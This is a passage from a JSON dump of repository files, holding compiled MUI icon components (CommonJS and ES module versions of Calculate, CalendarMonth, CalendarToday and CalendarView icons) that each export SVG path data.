    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm8.03-11.94L14.09 6l1.41 1.41L16.91 6l1.06 1.06-1.41 1.41 1.41 1.41-1.06 1.06-1.41-1.4-1.41 1.41-1.06-1.06 1.41-1.41zM13 13.25h5v1.5h-5zm0 2.5h5v1.5h-5zM6.25 7.72h5v1.5h-5zM6 14.5h2v-2h1.5v2h2V16h-2v2H8v-2H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.25 7.72h5v1.5h-5zM13 15.75h5v1.5h-5zm0-2.5h5v1.5h-5zM8 18h1.5v-2h2v-1.5h-2v-2H8v2H6V16h2zm6.09-7.05 1.41-1.41 1.41 1.41 1.06-1.06-1.41-1.42 1.41-1.41L16.91 6 15.5 7.41 14.09 6l-1.06 1.06 1.41 1.41-1.41 1.42z\"\n}, \"2\")], 'CalculateTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalculateTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm8.03-11.94L14.09 6l1.41 1.41L16.91 6l1.06 1.06-1.41 1.41 1.41 1.41-1.06 1.06-1.41-1.4-1.41 1.41-1.06-1.06 1.41-1.41zM13 13.25h5v1.5h-5zm0 2.5h5v1.5h-5zM6.25 7.72h5v1.5h-5zM6 14.5h2v-2h1.5v2h2V16h-2v2H8v-2H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.25 7.72h5v1.5h-5zM13 15.75h5v1.5h-5zm0-2.5h5v1.5h-5zM8 18h1.5v-2h2v-1.5h-2v-2H8v2H6V16h2zm6.09-7.05 1.41-1.41 1.41 1.41 1.06-1.06-1.41-1.42 1.41-1.41L16.91 6 15.5 7.41 14.09 6l-1.06 1.06 1.41 1.41-1.41 1.42z\"\n}, \"2\")], 'CalculateTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarMonth.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 4h-1V2h-2v2H8V2H6v2H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 16H5V10h14zM9 14H7v-2h2zm4 0h-2v-2h2zm4 0h-2v-2h2zm-8 4H7v-2h2zm4 0h-2v-2h2zm4 0h-2v-2h2z\"\n}), 'CalendarMonth');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarMonth.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 4h-1V2h-2v2H8V2H6v2H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 16H5V10h14zM9 14H7v-2h2zm4 0h-2v-2h2zm4 0h-2v-2h2zm-8 4H7v-2h2zm4 0h-2v-2h2zm4 0h-2v-2h2z\"\n}), 'CalendarMonth');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarMonthOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 4h-1V2h-2v2H8V2H6v2H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 16H5V10h14zm0-12H5V6h14zM9 14H7v-2h2zm4 0h-2v-2h2zm4 0h-2v-2h2zm-8 4H7v-2h2zm4 0h-2v-2h2zm4 0h-2v-2h2z\"\n}), 'CalendarMonthOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarMonthOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 4h-1V2h-2v2H8V2H6v2H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 16H5V10h14zm0-12H5V6h14zM9 14H7v-2h2zm4 0h-2v-2h2zm4 0h-2v-2h2zm-8 4H7v-2h2zm4 0h-2v-2h2zm4 0h-2v-2h2z\"\n}), 'CalendarMonthOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarMonthRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 2c-.55 0-1 .45-1 1v1H8V3c0-.55-.45-1-1-1s-1 .45-1 1v1H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2h-1V3c0-.55-.45-1-1-1m2 18H5V10h14zm-8-7c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1m-4 0c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1m8 0c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1m-4 4c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1m-4 0c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1m8 0c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1\"\n}), 'CalendarMonthRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarMonthRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 2c-.55 0-1 .45-1 1v1H8V3c0-.55-.45-1-1-1s-1 .45-1 1v1H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2h-1V3c0-.55-.45-1-1-1m2 18H5V10h14zm-8-7c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1m-4 0c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1m8 0c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1m-4 4c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1m-4 0c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1m8 0c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1\"\n}), 'CalendarMonthRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarMonthSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 4h-1V2h-2v2H8V2H6v2H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 16H5V10h14zM9 14H7v-2h2zm4 0h-2v-2h2zm4 0h-2v-2h2zm-8 4H7v-2h2zm4 0h-2v-2h2zm4 0h-2v-2h2z\"\n}), 'CalendarMonthSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarMonthSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 4h-1V2h-2v2H8V2H6v2H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 16H5V10h14zM9 14H7v-2h2zm4 0h-2v-2h2zm4 0h-2v-2h2zm-8 4H7v-2h2zm4 0h-2v-2h2zm4 0h-2v-2h2z\"\n}), 'CalendarMonthSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarMonthTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 6h14v2H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 4h-1V2h-2v2H8V2H6v2H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 16H5V10h14zm0-12H5V6h14zM9 14H7v-2h2zm4 0h-2v-2h2zm4 0h-2v-2h2zm-8 4H7v-2h2zm4 0h-2v-2h2zm4 0h-2v-2h2z\"\n}, \"1\")], 'CalendarMonthTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarMonthTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 6h14v2H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 4h-1V2h-2v2H8V2H6v2H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 16H5V10h14zm0-12H5V6h14zM9 14H7v-2h2zm4 0h-2v-2h2zm4 0h-2v-2h2zm-8 4H7v-2h2zm4 0h-2v-2h2zm4 0h-2v-2h2z\"\n}, \"1\")], 'CalendarMonthTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarToday.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3h-1V1h-2v2H7V1H5v2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 18H4V8h16z\"\n}), 'CalendarToday');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarToday.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3h-1V1h-2v2H7V1H5v2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 18H4V8h16z\"\n}), 'CalendarToday');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarTodayOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3h-1V1h-2v2H7V1H5v2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 18H4V10h16zm0-13H4V5h16z\"\n}), 'CalendarTodayOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarTodayOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3h-1V1h-2v2H7V1H5v2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 18H4V10h16zm0-13H4V5h16z\"\n}), 'CalendarTodayOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarTodayRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3h-1V2c0-.55-.45-1-1-1s-1 .45-1 1v1H7V2c0-.55-.45-1-1-1s-1 .45-1 1v1H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 18H5c-.55 0-1-.45-1-1V8h16v12c0 .55-.45 1-1 1\"\n}), 'CalendarTodayRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarTodayRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3h-1V2c0-.55-.45-1-1-1s-1 .45-1 1v1H7V2c0-.55-.45-1-1-1s-1 .45-1 1v1H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 18H5c-.55 0-1-.45-1-1V8h16v12c0 .55-.45 1-1 1\"\n}), 'CalendarTodayRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarTodaySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 3h-3V1h-2v2H7V1H5v2H2v20h20zm-2 18H4V8h16z\"\n}), 'CalendarTodaySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarTodaySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 3h-3V1h-2v2H7V1H5v2H2v20h20zm-2 18H4V8h16z\"\n}), 'CalendarTodaySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarTodayTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3h-1V1h-2v2H7V1H5v2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 2v3H4V5zM4 21V10h16v11z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 5.01h16V8H4z\",\n  opacity: \".3\"\n}, \"1\")], 'CalendarTodayTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarTodayTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3h-1V1h-2v2H7V1H5v2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 2v3H4V5zM4 21V10h16v11z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 5.01h16V8H4z\",\n  opacity: \".3\"\n}, \"1\")], 'CalendarTodayTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewDay.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17h18v2H3zm0-7h18v5H3zm0-4h18v2H3z\"\n}), 'CalendarViewDay');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewDay.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17h18v2H3zm0-7h18v5H3zm0-4h18v2H3z\"\n}), 'CalendarViewDay');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewDayOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17h18v2H3zm16-5v1H5v-1zm2-2H3v5h18zM3 6h18v2H3z\"\n}), 'CalendarViewDayOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewDayOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17h18v2H3zm16-5v1H5v-1zm2-2H3v5h18zM3 6h18v2H3z\"\n}), 'CalendarViewDayOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewDayRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 7h14c1.1 0 2 .9 2 2v6c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2M4 3h16c.55 0 1 .45 1 1s-.45 1-1 1H4c-.55 0-1-.45-1-1s.45-1 1-1m0 16h16c.55 0 1 .45 1 1s-.45 1-1 1H4c-.55 0-1-.45-1-1s.45-1 1-1\"\n}), 'CalendarViewDayRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewDayRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 7h14c1.1 0 2 .9 2 2v6c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2M4 3h16c.55 0 1 .45 1 1s-.45 1-1 1H4c-.55 0-1-.45-1-1s.45-1 1-1m0 16h16c.55 0 1 .45 1 1s-.45 1-1 1H4c-.55 0-1-.45-1-1s.45-1 1-1\"\n}), 'CalendarViewDayRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewDaySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17h18v2H3zm0-7h18v5H3zm0-4h18v2H3z\"\n}), 'CalendarViewDaySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewDaySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17h18v2H3zm0-7h18v5H3zm0-4h18v2H3z\"\n}), 'CalendarViewDaySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewDayTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17h18v2H3zm16-5v1H5v-1zm2-2H3v5h18zM3 6h18v2H3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 12h14v1H5z\",\n  opacity: \".3\"\n}, \"1\")], 'CalendarViewDayTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewDayTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17h18v2H3zm16-5v1H5v-1zm2-2H3v5h18zM3 6h18v2H3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 12h14v1H5z\",\n  opacity: \".3\"\n}, \"1\")], 'CalendarViewDayTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewMonth.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M8 11H4V6h4zm6 0h-4V6h4zm6 0h-4V6h4zM8 18H4v-5h4zm6 0h-4v-5h4zm6 0h-4v-5h4z\"\n}), 'CalendarViewMonth');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewMonth.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M8 11H4V6h4zm6 0h-4V6h4zm6 0h-4V6h4zM8 18H4v-5h4zm6 0h-4v-5h4zm6 0h-4v-5h4z\"\n}), 'CalendarViewMonth');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewMonthOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M8 11H4V6h4zm6 0h-4V6h4zm6 0h-4V6h4zM8 18H4v-5h4zm6 0h-4v-5h4zm6 0h-4v-5h4z\"\n}), 'CalendarViewMonthOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewMonthOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M8 11H4V6h4zm6 0h-4V6h4zm6 0h-4V6h4zM8 18H4v-5h4zm6 0h-4v-5h4zm6 0h-4v-5h4z\"\n}), 'CalendarViewMonthOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewMonthRounded.js",
